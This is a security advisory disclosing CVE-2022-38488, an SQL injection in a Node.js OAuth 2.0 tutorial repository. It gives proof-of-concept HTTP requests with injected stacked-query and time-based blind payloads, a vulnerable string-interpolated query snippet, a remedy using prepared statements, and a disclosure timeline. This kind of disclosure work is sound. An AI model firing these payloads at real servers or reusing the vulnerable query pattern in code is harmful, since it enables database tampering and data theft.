CVE-2022-38488 - SQL Injection in logrocket-oauth2-example
logrocket-oauth2-example is vulnerable to an SQL Injection due to the insertion of unsanitized user input into SQL queries.
The affected code has been published on github. The code is part of a tutorial titled "How to implement OAuth 2.0 in Node.js".
The tutorial is in the top three Google results when searching for "nodejs oauth2 example" ( Archived August 2022 - https://archive.ph/us4A3 ). Derived projects are likely to share this vulnerability.
Links:
- https://blog.logrocket.com/implement-oauth-2-0-node-js/
- https://archive.ph/VlGDa
- https://github.com/diogosouza/logrocket-oauth2-example
- https://archive.ph/PecmD
Proof of Concept
SQL Injection in /auth/register
Example HTTP Request (Burp):
POST /auth/register HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 50
password=test3&username=test';CREATE TABLE hacked()--
This will create a table named "hacked".
Data can also be exfiltrated via time-based blind SQL Injections:
POST /auth/register HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 50
password=test3&username=test';SELECT PG_SLEEP(5)--
Proof-of-Concept Script
A Python3 Proof-of-Concept script is provided in the attached archive file. Only run these exploits in local testing environments.
- Change the
target_ipvariable to the IPv4 address / domain of the target server. - Change the
target_portvariable to the TCP port of the target server.
The following command will create a new table named "hacked" in the Postgres database connected to the target server via SQL injection.
- Run the script with
python3 poc_createtable.py.
Vulnerability Explanation
This vulnerability is caused by the direct insertion of unsantized user input into SQL query strings:
// vulnerable example code
// ...
const username = req.body.username; // user input
const query = `SELECT * FROM users WHERE username = '${username}'`;
pool.query(query, (error, results) => { /* ... */ });For example a user input of test';CREATE TABLE hacked()-- will result in the query variable being set to:
SELECT * FROM users WHERE username = 'test';CREATE TABLE hacked()--'Remedies
It is recommended to use "prepared statements" instead.
The node-postgres (pg) library (used in the project) provides the following example code:
//+ Source: https://node-postgres.com/features/queries
//+ Query in prepared statement format
const query = {
text: 'INSERT INTO users(name, email) VALUES($1, $2)',
values: ['brianc', 'brian.m.carlson@gmail.com'],
}
// callback
client.query(query, (err, res) => {
if (err) {
console.log(err.stack)
} else {
console.log(res.rows[0])
}
})
// promise
client
.query(query)
.then(res => console.log(res.rows[0]))
.catch(e => console.error(e.stack))This will automatically escape provided string parameters.
Publication Timeline
- Aug 20, 2022 - CVE-2022-38488 was assigned by the MITRE Corporation
- Aug 22, 2022 - Developer was informed about the vulnerability via Email. A 60 days Responsible Disclosure deadline was set.
- Oct 21, 2022 - Responsible Disclosure deadline expired
- Nov 27, 2022 - Vulnerablity was made public